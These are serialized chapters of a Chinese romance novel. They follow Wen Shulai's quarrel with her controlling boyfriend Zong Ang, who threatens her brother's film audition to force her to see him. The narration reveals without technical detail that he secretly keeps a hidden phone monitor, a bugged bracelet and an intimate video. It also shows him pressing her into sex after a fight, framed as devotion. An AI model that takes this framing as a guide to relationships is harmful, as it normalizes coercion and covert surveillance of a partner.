温纾莱知道她有个毛病,遇事不提,就沉默着自我消化,等她消化好再若无其事地生活。可她已经在心中打了个一个结,这个结会在下一次闹矛盾的时候进行二次缠绕,周而复始,直到打死。 这样似乎对谁都不公平。 她吸气:“她的病是怎么回事?” “精神分裂,受到打击造成逻辑混乱,分不清现实和幻想。”宗昂提起这码事就打心底里烦,他尽量收着语气里的漠然,稳着脾气:“虽然这么说你会觉得我不近人情,但她的病真跟我没关系。” 郑茹是护理专业被国内学校力荐到宾大交换学习,她在交换的那一年选修了一门视听语言的课程。 有次老师根据名单划分小组布置拍摄作业,郑茹的名字就在宗昂之上,两人就这样同在一组合作。 他们共同拍摄的那条短片备受老师赞誉,着重夸赞了郑茹负责的色彩部分。 郑茹在色彩运用方面很有天赋和灵气,同组其他组员问过她为什么不学电影专业,她笑着说自己家里条件差,供不起她读这么烧钱的专业。 能满足这个专业所需,最基础的一台设备都能顶她一年的生活费。 她没钱。 有些人的自卑是埋藏在内心深处,添砖加瓦地覆盖起来,巴不得永不见光。 而有些人会把自卑挂在嘴边,以接收他人尴尬和抱歉来获得平衡和变态的满足。 宗昂那时还不懂这些,他就是想在他爸那里挣点成绩,所以在听闻他爸工作室在招人,他便在一次小组会议后问了下她的意愿。 她去他爸的工作室,又能赚钱又不会埋没她的天分,还能替他在他爸那儿刷刷脸,让他爸别忘记他这个儿子。 一举三得。 但是郑茹拒绝了。 宗昂也不强人所难,又不是必要完成的一件事。 他出于你好我好大家好的前提,想帮郑茹一把,却惹祸上身,向郑茹提供了遐想的空间。 郑茹开始在他出现的场合频繁刷脸,找他搭话。很快,就有“宗昂和郑茹在交往”的谣言传出。 他有挺多要忙的事,这种空穴来风的谣言都不值得他分出精力去澄清。 所以他选择放任不管,冷处理。 信息时代,每分每秒都有新鲜事儿发生,过不了多久,这种谣言无人理会自会不攻自破。 在一次学校举办的文艺晚会中,郑茹作为负责人之一,上台致谢时当众向他表了白。 冠以他的称呼不是他的名字,是“我的男朋友”。 宗昂在他本人都不知情的情况下,莫名其妙多了一个女朋友。 他在外平易近人的人设险些没保持住,忍着火等郑茹下台后把她叫到空寂的露台,郑重告诫她别再乱讲话,他不喜欢她,更不会跟她谈恋爱。 说完,他没再看郑茹一眼,提早离了晚会。 第二天有一节视听语言,小组讨论时他们组内才发觉郑茹不在。 谁都没有关心。 第三天,郑茹衣不蔽体地回到学校,身上有着青青紫紫的痕迹。 有人问她怎么了,她扯扯衣服,害羞地说是和宗昂玩得太过火了。 从此,宗昂和郑茹就彻底捆绑成功,又一条谣言四起,传宗昂床品奇差,把自己女友都弄伤了。 还有人跑去问宗昂他是怎么玩的。 宗昂无语的都要为这场舆论战拍手叫好了。 大家都只会相信更为劲爆、戏剧性更强的“真相”,真实的真相是什么,无人在意。 到这儿,宗昂是丁点儿耐心都没了,也不想给郑茹留脸了,他看在她是个女生的份上,礼貌性退让,换来的是郑茹变本加厉骑在他头上拉屎。 他实名注册论坛,发了个声明帖子,用最简练的篇幅一板一眼公式化地划分开他和郑茹,并在结尾标明再有散播谣言者他会以诽谤罪起诉。 有些人信他,有心人不信,觉得是他始乱终弃。 不信的这部分声音很小,更大的讨论声转移到郑茹身上,说她一厢情愿、不知检点等等。 事件的终结,就是郑茹心理承受力脆弱,经不住变故,精神失常了。 事发至今,宗昂首次亲口完整地讲述这起意外的始末。 “就这样。”他拇指摩挲着温纾莱的虎口:“我也挺无辜的吧,好心办坏事?” 温纾莱隐隐感到些许怪异,就似一部伏笔宏大的电影,反转再反转,结局缩减成芝麻大,烂尾了。 可她又说不上来具体哪里怪。 她问:“只是这样,那你为什么不告诉我,还怕韩子彦捅出来?” 第43章 第 43 章 雨水打湿的小狗。 “我是怕你不会信我。”宗昂长睫半敛, 黑色的阴影在他眼睑处晕染出晦涩:“所有人都不信我什么都没做,就连我妈都是。” 他是将评判“他是个怎样的人”的权利交由大众,嘴巴长在别人身上, 说什么、怎么说都是别人的自由, 可他不能容忍有人三番五次的恶心他, 也会因为重要的人的误解而苦恼。 毕竟他不是无欲无求的冷血动物。 他就是个正常人。 他尤其不能接受温纾莱的质疑和审判。 宗昂复又掀起眼,几分可怜与祈盼:“你能相信我吗?” 温纾莱见过宗昂的很多面, 强硬的、玩世不恭的、撒娇耍赖的, 就是没见过他现在这样示弱卖乖的样子。 宗昂多变的她都混乱了。 “我不想骗你。”温纾莱坦诚相告:“我不知道。”她避开宗昂的视线,落向两人缠握的手:“有些事情我通过别人知道和你亲口告诉我,是两种感觉。” 宗昂失落地问:“所以你也不信我, 是吗?”像一只被雨水打湿的小狗。 “我不知道。”温纾莱仍旧是这四个模棱两可的字, 她说:“别的不提, 你私自动我手机删我消息我就很不喜欢。” 宗昂不甘心地小声反驳:“你之前也趁我洗澡的时候动过我的手机, 不能扯平吗。” 温纾莱都要忘了这茬, 但她不觉得自己有错, 她要删除以她为主角的情/色视频天经地义。视频一直是扎在温纾莱心中的一根刺,这根刺很细,细到在平稳状态下她会忽略它的存在,一旦发生颠簸, 这根刺就会搅弄出焦躁。 她冷着声:“你一定要用这件事跟我扯平吗?” 宗昂一愣, 丧眉耷耳地道歉:“对不起。” 温纾莱抽出手:“我们都先冷静一下吧。” 宗昂慢慢坐直, 语气也往下降:“是要冷战的意思吗?” 温纾莱摇头:“我只是想有一点私密的空间好好捋一捋。” 宗昂步步紧逼:“那不就是冷战的意思?” “那你非要这么理解就随你吧。”温纾莱不知道宗昂是怎么定义“冷战”这个词的, 她没有这个念头, 但她懒得再跟他争辩,“很晚了,我要回家。” 宗昂不放人, “回公寓,你要私密的空间我给你,我去睡客卧。” “那我自己走。”温纾莱去拉车门。 “咔嗒”一响,同她的声音重叠。 宗昂预判到她的下一步行动,在他那边锁上车门。 宗昂独断专行地撂下一句:“回公寓。” 他那个劲儿又要上来。 “宗昂。”温纾莱侧过脸又和他对视上,她面目沉静,用他曾经的许诺来堵他:“是你说的,我不喜欢的你都会改。” 这就没得整了。 宗昂定定瞧了会儿她,呼口气,宽阔的肩身下沉:“好,我送你回家。” 一路无话。 一水黑的488在深夜的道路上开出蜗牛的慢速,只要路口是绿灯,离老远宗昂就光明正大地松油门踩刹车。温纾莱的脾气他摸很清,心软是她最大的弊端也是最有利他的优点,他就是在用这种幼稚的方式来换她回心转意。 可这次温纾莱坚定得很,直到宗昂把车开到温屿年租住的公寓楼底,她都没有改主意。 已经是凌晨一点多,楼前空旷,亮着灯的人家少之又少。晚风吹动着树叶哗哗作响,叶子边缘泛起的黄色渐渐挥发出秋天的萧瑟。 宗昂停稳车,按住温纾莱,“你要冷静多长时间?” 温纾莱给出三字真言:“不知道。” 宗昂真是窝火,但他又不能朝温纾莱发,便把这份账算在韩子彦头上,他压根儿就不懂这有什么好冷静的,又不是触及到原则。 他解开安全带覆向副驾,双手包住温纾莱瘦削的肩膀:“冷静多久随你,你说不是冷战,那我每天给你发消息你要回,打电话也要接,不要让我找不到你。” 这就是宗昂的底线了。 温纾莱要是不答应就下不去车,于是她点头:“好。” 路灯亮着光,斜照进车内,只圈出一半光明,还残留着一半阴暗。 宗昂歪着头,他陷在半明半昧中,将温纾莱的碎发别到耳后,捻了捻她的耳朵,启唇吻上她。 含住她的舌尖嘬/吮,高挺的鼻尖抵在她柔软的脸肉上,鼻息炙热又绵长。 他的忐忑通过这个吻,传递给温纾莱。 宗昂低喃着:“我是真的喜欢你,所以你不能不理我。” 温纾莱搓了两下他的卷毛。 宗昂坐车里目送她进楼,那副可怜的神色骤然冷却。 …… 开门进屋,温纾莱换好拖鞋蹑手蹑脚地往她的卧室走。 客厅西面墙的隐形门推开,温屿年突兀地在书房里出来。 兄妹俩俱是一滞,都被对方吓到了。 温屿年穿着睡衣,端着个杯子,在没开灯的客厅借着玄关声控灯的幽弱光亮看温纾莱:“你和宗昂吵架了?” “……” 温纾莱真心觉得演员这一职业埋没温屿年的侦查天分了,他合该去做侦探或是刑警。 “没有啊。”她惯是报喜不报忧,谁谈恋爱也不是从头至尾都一帆风顺的。 温屿年一击击中要点:“那这么晚他还能送你回来?” 温屿年打知道温纾莱和宗昂恋爱,他们二人就已经在同居了,他再管也晚了。况且同居不是件坏事,当距离都消除,日夜相伴地磨合各种生活习性,是对的人就能终成眷属,是错的人就趁早分道扬镳。 只要宗昂没病,温纾莱一个成年人尽情享受就好。 “我想回家住几天就回来了啊,为什么非要是吵架。”温纾莱倒打一耙:“哥,你就不盼我点好吗?” “……” 温屿年目不斜视地走过她,留下一句他的观察结论:“我发现你和宗昂在一起后越来越贫了。” 温纾莱杵在原地,品味着温屿年的用词——“贫”,是褒义词吧? 是指她越来越开朗了吧? 不止温屿年,孔佳茉她们也在某一天很突然地这么提了下。 想到这儿,温纾莱架起的那台天平向宗昂那边增加几克重的砝码。 温屿年倒完一杯水,再次走过温纾莱面前:“真没事?” “能有什么事?”温纾莱闻到一股淡雅浓郁的茶香,瞥瞥他水杯里浮起的茶叶,“这么晚了你还不睡?” 温屿年某些点还挺老干部作风的,不抽烟不喝酒,提神用浓茶不碰咖啡,以前有粉丝线下接机大声喊他老公,他皱着眉教育人家要稳重。 “在补片子。”温屿年顿了顿,未免温纾莱又怪他闷葫芦,他透露出一个信儿:“宗穆川的工作室给我发了邀约,让我去试戏。” 温纾莱一喜:“真的?” “只是去试戏,最终能不能成还另说。” “我知道,那也不妨碍我高兴啊。”温纾莱问:“想让你演什么?” 这不需要保密,温屿年说:“《黑白》里的阿默。” 温纾莱听宗昂提过一嘴,《黑白》是一部文艺片,背景是上世纪七十年代,讲述的是一个女人受到笔友的邀请,前往大城市赴约的途中与三个男人相遇纠葛的故事。 宗昂说,这部电影是宗穆川工作室下半年的重点筹备项目,要拿去冲柏林电影节的奖项。 阿默是男三号,戏份最少但人物塑造饱满生动,这部电影要是能获奖,温屿年往后的影视资源便能源源不断。 温屿年略一沉思,问出口:“你没有跟宗昂说什么吧?” “当然没有。”温纾莱言之凿凿地保证:“我知道你不喜欢走后门,我和宗昂没谈之前阿咻哥不是就说过宗穆川看好你嘛。” “那就好。”温屿年扒拉下温纾莱竖起的三根手指。 他接到宗穆川的邀请很高兴,但如若是基于他妹妹和宗穆川儿子恋爱的缘故,他会推掉这场试镜,他可不想温纾莱因他开口求人。 “那你快去忙吧,我不浪费你时间了。”温纾莱推着他后背送他进书房,附赠捏肩膀两下,“有什么指示大明星随时吩咐。” 温屿年笑笑,反手揉揉她头发。 …… 洗完澡躺到床上,是凌晨两点。 温纾莱今天在剧组泡一天,累得在饭局上就哈欠不停,这会儿躺在床上却睡不着。 她复盘着今晚的一切。 她一是生气宗昂又自作主张,她是个有边界感的人,不会对韩子彦有超出的感情,二是悲哀地发现她和宗昂连恋爱间最基本的信任都没有。 不然她不会在听到韩子彦说宗昂有个前女友时,不经求证就下了定论。 宗昂也不会擅自动他手机,删除韩子彦的消息。 假如没有信任,这种在互相猜忌中度过的恋情迟早会分崩离析。 可建立信任又何其艰难,猜疑的种子一旦埋下,会在日后的每一次冲突中反复疑心对方言语的可靠性。 唉。 好烦。 温纾莱拉高被子蒙住脸,枕边嗡了一声,她从被子边伸出手,把手机摸进被窝。 是宗昂. 「我到家了。」 这条报备发送时间是半个多小时前,她正在洗澡。 没看到。 第二条,是刚刚. 「[动画表情]」 是一个线条小狗趴地哭泣的表情包,配字[不理我,我一个人哭]。 温纾莱摸黑打字:「刚洗完澡。」 宗昂秒回:「视频吗?」 温纾莱拒绝:「不了,我要睡觉了。」 宗昂回了个「好」。 他不死缠烂打,温纾莱还有点不适应。搓搓眼睛,她趁着复现的困意闭眼入睡- 宗昂遵守诺言,只在线上联系温纾莱,发消息的频率也不高,给她充分的空间。 他人不露面,该卖的好一件不落。 每天的新鲜蔬菜水果送到她家,她爱吃的甜品他控制着量给她订,还给舅舅舅妈买了营养品。 温纾莱这几日就闷在房间里看电影。 她遇事不决就会在电影里找答案。 第三天,她收到韩子彦的微信。 韩子彦:「纾莱,有空见一面吗?」 第44章 第 44 章 “那谁有意思?” 温纾莱和韩子彦约在大学城的一家咖啡店见面。 温纾莱赖了会儿床, 爬起来从冰箱里拿出两片面包垫垫肚子,早十五分钟出门。 国庆假期哪哪都堵,地铁上人头攒动, 有几个女生扮着清宫造型, 约莫是要去故宫拍照。 语音播报到站, 温纾莱忙不迭下车厢,站内也是拥挤不堪, 逼仄的呼吸也没得到好转。 初秋早晚寒凉, 其余时间还热得发燥。 咖啡店就在出地铁站直行一百米,温纾莱推门而进,附着在皮肤上的热气被店内空调冷风吹散, 她又活过来了。 她正要找张桌子坐下, 就听一声“纾莱”, 在叫她。 韩子彦站在最里面的一张桌边冲她招手。 温纾莱走过去在他对面坐下。她客客气气道:“不好意思子彦哥, 我来晚了。”实则离约定时间还有十来分钟。 “是我来早了, 总不好让女生等我。”韩子彦把菜单滑过去:“看看喝什么。” 温纾莱便点了杯冰美醒脑。 她偏爱现实题材类和地缘类的电影, 昨天她想换换口味,一口气将速激一到十部追完,天快亮才睡。起床一照镜子见黑眼圈都要掉到嘴角,现在人浑浑噩噩的。 韩子彦选的这个座位靠墙角, 有一盆天堂鸟的绿植做隔断, 很是适宜谈事情。服务员走后两人不约而同地缄默着, 更显这处氛围的幽静。 这家店出餐快, 没等多会儿冰美就送来。 温纾莱捏着吸管一端搅动冰块, 抿了一口,凉入肺腑。 韩子彦酝酿好切入点,开口:“纾莱, 上次杀青宴是我欠考虑了,我应该私下里找你聊这件事。” 温纾莱淡淡一笑:“都过去了。” 已经发生的事情再做抱歉也无济于事,韩子彦选择在那个时段公开挑起纷争,那就是他考虑后的结果了,没什么欠不欠的。 韩子彦感到温纾莱的疏离,也无可辩驳太多。 宗昂在他全权负责的项目上使绊子惹恼了他,他憋着一股火,势要报复回来。 所以他当众撕开宗昂的遮掩,就想着看在他这个被宗昂视为眼中钉的人面前,秘密暴露给最喜欢的女生,宗昂会如何自处。 但有一点,韩子彦强调道:“我说的那件事是真的,你如果不信,我可以带你去那家疗养院亲眼看看。” “我没有不信。”温纾莱嗓音平缓,不疾不徐地问:“你还查到了别的什么吗?” “没了,宗昂家里把这件事压了下去,我查了很久才查到。” 温纾莱双手环着玻璃杯,杯壁涔出的水珠洇湿她的掌心,“那,那个女生具体是怎么得病的你知道吗?” “她和宗昂怎么开始的我不清楚,我查到的就是有天她——”韩子彦沉吟着替换了一个委婉的形容:“状态不太好的回了学校,第二天宗昂就在他们校内论坛发了声明跟她撇清干系。” 和宗昂告诉她的大差不差。 温纾莱吐出咬着的吸管,在桌角的纸抽里抽出一张卫生纸擦干手心的潮湿,“那你为什么要去查宗昂的这些事情?” “这个问题,我想你应该去问宗昂。”韩子彦向后靠,目色无奈:“是他先调查我的,我不知道他多我哪来的那么大敌意。” 话毕,他推了推眼镜,压下冒头的那点惭愧。 即使宗昂平常心待他,他在回想起侄女的话后也是会去私下考察一番宗昂。 他得核验身为温纾莱男朋友的宗昂有无潜在隐患。 而这样,宗昂的秘密,或早或晚都会由他传达至温纾莱耳中。 但他不能这么说,他要刷减宗昂在温纾莱那里的印象分。 “纾莱,他不适合你。”他说:“宗昂这个人太自我,做事也太绝,一旦事情脱离他的掌控他就会摧毁,他这样的性格绝对会伤害到你。” 咖啡厅里的空气中弥漫着豆子醇厚的苦香,凯瑟琳·罗琳的钢琴曲作为背景音,细听有潺潺流淌的溪水声,舒缓又流畅。 “子彦哥,我替宗昂跟你说一声抱歉。”温纾莱的情绪很稳,落座到现在都没见波动,“但这是我自己的事情,我不希望别人插手。” “纾莱,如果你有什么顾虑的话我可以帮你。”韩子彦是真心实意地想拉温纾莱出宗昂这个泥潭,“宗昂他没有心的也不会真心喜欢你,田若心你还记得吧,我还查到宗昂给了她一笔钱,田若心说她很早就想跟余泽帆断,是宗昂在知道他们两个的事情后找上了她,要她再和余泽帆玩玩。” 温纾莱手指一折,捏弯吸管。 神情懵顿。 韩子彦叹气:“纾莱,宗昂那样的人不值得你浪费时间,更不值得你喜欢。” …… 温纾莱乘坐地铁回家,温屿年的车与她一同到达家楼下。 想起温屿年今天去试镜,温纾莱整理好心情,带着笑上前:“怎么样?” 温屿年:“还可以。” 阿咻黑着个脸一言不发。 他身型很瘦,两颊凹陷,相貌偏凶,不苟言笑的时候像个社会大哥。 温纾莱敏感地察觉出异样,按耐着不表。 阿咻还有其他工作要和温屿年商讨,助理玥玥也不急着下班,一行四人上楼。进了家,温屿年阿咻去书房,玥玥探头确保书房门关严后,拉着温纾莱去她卧室。 温纾莱直觉是温屿年试镜出了问题。 果不其然,不等她问,玥玥就先迫不及待地说明:“是这样的,年哥出演阿默这个角色是板上钉钉的事情,宗导工作室那边的选角团队很看好年哥,他基本上就是内定了,但今天年哥试完镜,副导演又改口说要等通知,阿咻哥气得要死,说他们耍人玩。” 玥玥三言两语交代完经过,向温纾莱递去一个欲言又止地眼神。 温纾莱心跳无征兆地加快,她蒙蒙有种预感,她排斥去深想,但她一方面又迫切地想搞清是怎么回事。 “你直说。” “我觉得我就算不说莱莱你很快也会知道的。”玥玥抓抓头发:“你和宗昂是闹了什么矛盾吗?回来的路上我收到了一条短信,发信人署名是宗昂,他说要你去找他,这样年哥试镜的结果还有回转的余地。” 预感拨云见雾,得到证实,温纾莱居然只有平静。 “果然如此”的平静。 她在见韩子彦回来的地铁上,接到宗昂打的电话,她没接,他便发来消息。 直问她是不是去见了韩子彦,她也没回。 明知故问,有什么可回的。 温纾莱闭了闭眼,再睁开时眸中恢复澄明,“好,我知道了,玥玥姐你放心,这件事我会解决好的。” “我没和年哥说,他那么看重你,知道这件事后绝对会去找宗昂算账,到时候闹得没法收场就不好了。”玥玥说:“有什么问题你们坐下来好好聊一聊,角色能不能拿下事小,你和宗昂好好的才最重要。” 玥玥比较成熟,她知道宗昂这样威胁很没品,但他们谁都拧不过宗昂,闹起来吃亏的只会是他们,与其一败涂地,不如把病因铲除。 估摸宗昂也不想得罪温屿年,与温纾莱闹掰,否则他那条消息应当直接发去温屿年手机,而不是找她一个小助理传话。 温纾莱:“我这就去找他,我哥要是问起来你就告诉他我去找宗昂了,其他的不用说。” 宗昂都找到玥玥那里,就不会再给她缓冲的时间,今天她要不上门,他就能更变本加厉。 玥玥:“好,我都有数。” …… 再次站在他的楼下,温纾莱的心境似是又回到她被逼到身不由己的初始。 恍如隔世。 也就才过去四天。 宗昂公寓的门禁卡她有,也录过人脸识别,一路畅通无阻地上楼。 指纹解锁开门,枪/击的音效声在客厅砰砰作响,她换上拖鞋进去。 宗昂坐在地毯上在打游戏,余光里多出一抹纤细的身影,他匆匆瞭她一眼,状若无事的语气:“回来啦宝宝。” 温纾莱真想问问他吃什么长大的,这么能装。 在作了那么多妖之后,还能坦然自若地跟她调情。 “你先等会儿我,我打完这一局我们就出去吃饭。”宗昂边摁着手柄操纵游戏人物击杀敌人边说:“孔佳良给我推荐了家法餐,我们常吃的那家甜品店也出了新口味。” 温纾莱没空陪他粉饰太平。 她拿起茶几上的遥控器,关了电视。 色彩鲜明的屏幕“扑嗉”一下闭合,激烈的打斗场面眨眼间就强制结束。 宗昂也不恼,扔了手柄,朝她张开双臂:“过来抱我,我们四天没见了。” 温纾莱不动,居高临下地看他:“宗昂,你这样很没有意思。” “我没有意思?”宗昂眼尾一挑:“那谁有意思?” “韩子彦吗?” 第45章 第 45 章 “我不会喜欢你,永远都…… 温纾莱尽可能平心静气:“我没这么说。” “你和他都聊什么有意思的内容了。”宗昂吊儿郎当的态度, “我学学。” “你的眼线没转告你吗?”温纾莱很烦宗昂这种揣着明白装糊涂的刁难:“还是离我们太远没听清?” 宗昂不合时宜地有点儿想笑。他的宝贝解题过程错的一塌糊涂,答案倒是正确。 客厅开着窗户通风,穿堂风一过, 温纾莱的长裙裙摆掀起层层涟漪。 他撑了下手站起来, 踱向温纾莱, 停至她跟前。脚尖与她相对:“我就要听你说。” 他们一个站在地毯内,一个站在地毯外, 以边缘为楚河汉界将他们明晰地划分开。 不过, 谁都没有低头看,谁都没有留意到这一点隐喻的巧合。 他稍稍弯腰,蹭了蹭她的额头:“我不喜欢你打扮的这么好看去见别的男人, 以后裙子只穿给我看好吗?” 温纾莱做不到在两人如此势如水火的时刻接受他的亲近。 她抵触地后退一步:“我们的事你别牵扯到别人, 我哥没有因为我跟你的关系走后门, 你也别因为跟我耍气为难我哥。” 宗昂胸口因她的退避一堵, 舌尖在齿内划一圈, 他“啧”嘴:“可以。” 然后通情达理地提出交换条件:“但你现在要删了韩子彦, 答应我以后再也不跟他见面来往,这件事我们就翻篇。” “宗昂。”温纾莱平展的眉心一瞬拧出折痕:“你差不多可以了吧,我和韩子彦之间清清白白,我现在也只是把他当作合作甲方, 你到底在怀疑什么?” “戏拍完了那就删了啊, 就算后续要对接还有导演, 还有制片人, 你一个编剧他找你能干什么?”宗昂一句比一句语速快, 声调高,带着火气。 他抹了把脸,压下火:“你要怕你删了他影响你们剧组的资金, 我可以顶上。” “这根本就不是资金的问题。” “那你说是什么问题?” “我就是正常交际,你没有权利干涉。”温纾莱说:“就像我也从来没有干涉过你跟哪些异性交往。” 一次的妥协只会换来对方的得寸进尺,假如今天她顺从宗昂的意愿删掉韩子彦,明天就会有下一个张子彦李子彦。她在这段感情里,在宗昂那里,将会永远处于被动地位。 她不想这样。 宗昂表态:“你可以干涉,你要不喜欢我可以不再跟他们来往。”他从地上捡起手机塞到她手里,随她检查。 温纾莱又丢回沙发上,别过脸:“不需要。” 她很无力,沟通错频的无力。 她谈过两次恋爱,第一次遇人不淑被戴绿帽;第二次始于一场错乱,进而演变成胁迫,最后在她寄托出希望的时候又给她施加上一道沉重的枷锁。 次次都与她理想中的爱情相距甚远。 宗昂瞧着她淡然的侧颜,面无表情地说:“你是不是觉得我在无理取闹?”他控诉:“我天天在家像个傻逼一样小心翼翼等你来找我,结果你先去见了韩子彦听他胡说八道。” “你指他说的那句话是在胡说八道?”温纾莱看回他:“是说你不是真心的,还是说你联合田若心一起耍我玩?” 她在见完韩子彦回家的路上,不可避免地回顾着半年前在网上和学校里闹得沸沸扬扬“出轨照”事件。 在那次事件中,她和宗昂、余泽帆或多或少都有网友讨伐,而田若心作为事件的另一个主人公,几近隐形。 但温纾莱那时没有余暇深思。 直至今天,韩子彦给了她一份跨越久远的答案——宗昂在背后封锁“田若心”这一关键词,这是他和田若心交易的条件。 宗昂展臂抱住她:“我没有耍你。” “放开我!”温纾莱挣两下没挣脱,相反还令宗昂收紧手臂,她不再白费力气:“你说你没有,好。” 她没有大喜大怒,她这人有一个优点,越是碰到大开大合的问题越是能迅速调整,以冷静来应对困局:“那你为什么早就知道余泽帆和田若心搞在一起还不告诉我?还出钱让田若心继续?” “你坐拥上帝视角看我被蒙在鼓里,夹在你和余泽帆之间为难,承受着良心的谴责,你这么做不就是在耍我?不就是在满足你一开始想要的刺激吗?” “我没有想耍你。”宗昂唇贴着她耳廓,为自己申辩:“是你一直拖着不和余泽帆分手,我才找上她,想带你亲眼去看看他是个什么货色,不然那样的女人我一个眼神都不会给。” 田若心这人的底宗昂也探过,是个惯三,在余泽帆之前她就勾搭过好几个有主男生,她通晓男生“好刺激”的心理,以此为乐,且次次得逞。 她手段一般,不高明,可那些男人不挑,有个女人勾勾手他们就把持不住,还自觉魅力无限。 虽然宗昂强迫温纾莱那阵儿也算是知三当三找刺激,但是他自认比田若心逼格高,跟她不是一类人,他只专注温纾莱。 余泽帆那种吃着碗里看着锅里的low货,田若心那种集邮女,他一个都看不上。 嫌恶心。 “网上的爆料也是你计划的一部分吧?”温纾莱分析地有理有据:“因为我的躲躲藏藏让你感到憋屈,所以你安排了那出戏码,我们的关系‘被迫’公开,你的目的达成我也不会把账算在你头上。” “我没有那么做。”宗昂眉间也堆叠出被误会的烦闷,他掰着温纾莱肩膀带她转向自己,“你不能因为我做了一件事就把其他的所有都推到我身上。” 余泽帆会在网上攻歼温纾莱是出乎他意料的,他从始至终就未曾将余泽帆放在眼里,没想到余泽帆会无视他的警告,自不量力地瞎蹦哒。 “所以你还是不觉得你有错,反倒是我错了是吗?”温纾莱本就睡眠不足又被动吸收一连串变故,太阳穴突突直跳,涨得发疼,那两个字涌到喉间:“这样的话,那我——” “好,对不起。”宗昂抢话,他垂颈埋入温纾莱肩窝:“对不起宝宝,是我错了,一切都是我不对,我们不吵架了还不好。” 他变脸奇快,一件件道歉:“我不该不顾你的意愿,也不该用你哥威胁你来见我,是我太幼稚了。” 韩子彦还在近处虎视眈眈,宗昂不能再同温纾莱冷战,他一个大男人能屈能伸,跟自己女朋友低个头不丢人。 孰轻孰重他分得清。 “我这就打电话给李叔叔,让他把你哥的名字报给我爸,这样我就管不了了。” 宗穆川对宗昂的意见再大,再恨铁不成钢,他也是宗穆川唯一的儿子,他在工作室就有分量,有地位。 按下一个小演员的试镜不费吹灰之力。 温纾莱被他这一句敲得理智回笼,她深吸一口气:“你说话算话。” 宗昂直起身,拉着她到沙发坐下,单手拿起手机,在虎口转一圈儿调正,当着温纾莱的面在联系人列表里找到一个电话拨出去。 从接通到挂断,前后不过短短十几秒钟,温纾莱就见证了宗昂轻易扭转了她哥哥温屿年的试镜结果。 何其不公平。 她松一口气的同时又甚感厌倦。 兜兜转转又是这样。 她想和余泽帆分手时,吴玉玲升职。 现在她动了和宗昂分开的念头,他一句话定温屿年的“生死”。 总是这样,她总是受困于他人。 那么有一天她要彻底改变这种现状,是不是也要借助他人的力量。 腿上一沉,温纾莱垂目。 宗昂躺了下去,头枕着她大腿:“这次是我又犯浑了,你气不过就扇我,别再不理我了。” 很不想很不想提那个倒胃口的名字,但宗昂心理失衡:“余泽帆说过你最是心软,怎么对我不是这样。” 温纾莱口快:“那是因为我不喜欢他。” 因为不喜欢,所以从不责怪、不抱期望,就谈不上原谅。 宗昂立刻追问:“那你喜欢我吗?” 温纾莱止住了。 和余泽帆恋爱时,温纾莱是抱着得过且过的混日子心态,那场恋爱不是她在谈,是她在完成一项马燕珍布置的任务。 和宗昂的恋爱,初期也是“做一日和尚撞一天钟”。 但是现在,在那次音乐节他说要正式谈一次恋爱之后的现在—— 温纾莱的嗓音很有特点,是一种娓娓道来的轻柔感,却很坚定:“如果你改不了总是想操控我、威胁我的毛病,我不会喜欢你。” “永远都不会。” 第46章 第 46 章 超绝恋爱脑 温纾莱语气里包含的决绝令宗昂一顿。 温纾莱骨子里其实很有脾气和主见, 不过是为适应所处环境从而掩埋在内心最深处。 宗昂一直致力于让她释放真正的自我,目前看来已经有所成效。 这不,这次她不仅没有被他的威迫吓到, 还学会用分手来反向驯服他。 让他能低头, 暂时乖顺听话。 当年宗穆川把他揍到屁股开花, 半个月无法坐下,他都梗着脖子拒不向堂哥道歉。而今—— 温纾莱动动嘴皮子他就认了错, 他爸知道后估计得气死。 宗昂对于温纾莱的成长很有成就感。 亲手把一朵打蔫的玫瑰花培养得重焕光彩, 怎么能不值得骄傲? 宗昂平躺在她腿上,仰视着她,抬手抚上她的脸:“那我乖的话, 你是不是就会喜欢我了?” 温纾莱避而不答:“除了田若心和郑茹, 你还有没有其他事瞒着我?” 宗昂不假思索:“没有了。” “宗昂, 我说过, 有些事情你亲口告诉我和我在别人那里知道, 是两个概念。”温纾莱像是一名正义凛然的法官:“如果你还有所隐瞒, 现在是你坦白的最好时机。” 存在电脑里的另一段视频、隐藏在温纾莱手机里的□□、他送给温纾莱装有窃听器的手镯——这三样东西以光速掠过宗昂的脑海。 在坦白与继续隐瞒之间,他有过半秒钟的犹疑。 随后,选择了后者。 假设他选择温纾莱所谓的坦白,谁又能预知到在坦白后, 温纾莱会给予他怎样的判决? 总归不会是他想要的。 他有那个信心一辈子不被温纾莱发现这三样东西。 “真的没有了。”宗昂拇指指腹拨弄着她的睫毛:“你呢, 你有什么瞒着我的事吗?” “我会有吗, 我们一家人就连我爸妈恐怕都被你调查个遍了吧。”温纾莱平淡又笃定地陈述事实。 这个世界上, 宗昂是除去他们自己外, 最清楚他们过往事迹的人。 宗昂支起胳膊:“宝贝,我……” “所以宗昂,”温纾莱打断他, 她清凌凌的眼眸专一地梭巡在他脸上,“我们之间是不平等的,你有本事想调查谁就调查谁,我没有,我只能等你自己跟我讲,如果我在其他渠道先知道了你不想让我知道的一些事,就会影响我对你、对这件事的判断。” 她将他们这段恋爱中存在的弊端一一分说:“我们的开始很混乱,信任很薄弱也可以说为零,但感情中最重要的就是信任,你能明白吗?” 温纾莱想象的爱情,是先相识,再相知,在互相了解的过程中相爱。 可她和宗昂只有第一步。 他们是基于的肉/体交流在相互探索。 “我明白的。”宗昂手掌扣住她后脑,一边往下压她一边抬高自己去迎她,四唇相触,他厮磨着:“你别总是吓唬我,我胆子很小的。” “我没吓你,我只是在说实话。” “我知道,所以我才害怕啊。” 似是要验证他话中的真实性,宗昂话音一落就封缄住她的声音,舌尖伸进她口中搅/弄。 宗昂一个翻身跃起,调转两人的方位,他屈膝跪在温纾莱腿间,拉高她的裙摆。 他是真的恐慌,急需拥有温纾莱,把他埋进她身体里才能安心。 上一秒还在正儿八经地沟通,下一秒就进展到要另类的“坦诚相见”。 温纾莱错愕又恼怒:“你脑子里是不是只有这种事!” 宗昂攥着她的脚腕按在小小的他上面,认真思考了下,回道:“前提是对象得是你。” 他可不是对谁都/发情。 他又不是种猪。 …… 一场暴雨来得格外迅猛,雨滴淅淅沥沥,泛黄的枯叶摇摇欲坠,湿风卷过,叶梗脆弱的与树枝分离。 雨雾之下,整座城市都笼罩一层神秘,朦胧不清。 这样的雨夜,无论做出怎样出格的坏事都有所遮蔽。 温纾莱整个后背贴在冰凉的玻璃窗上,坐在宗昂公寓里那间酒屋的L型吧台上。一条腿踩着高脚凳,一条腿乏力垂落。 屋里只开了壁灯,莹莹弱弱的暖黄色照亮一隅,音响随机播放着宗昂歌单里的一首英文歌。 温纾莱大脑一片混沌,辨不出歌词大意。 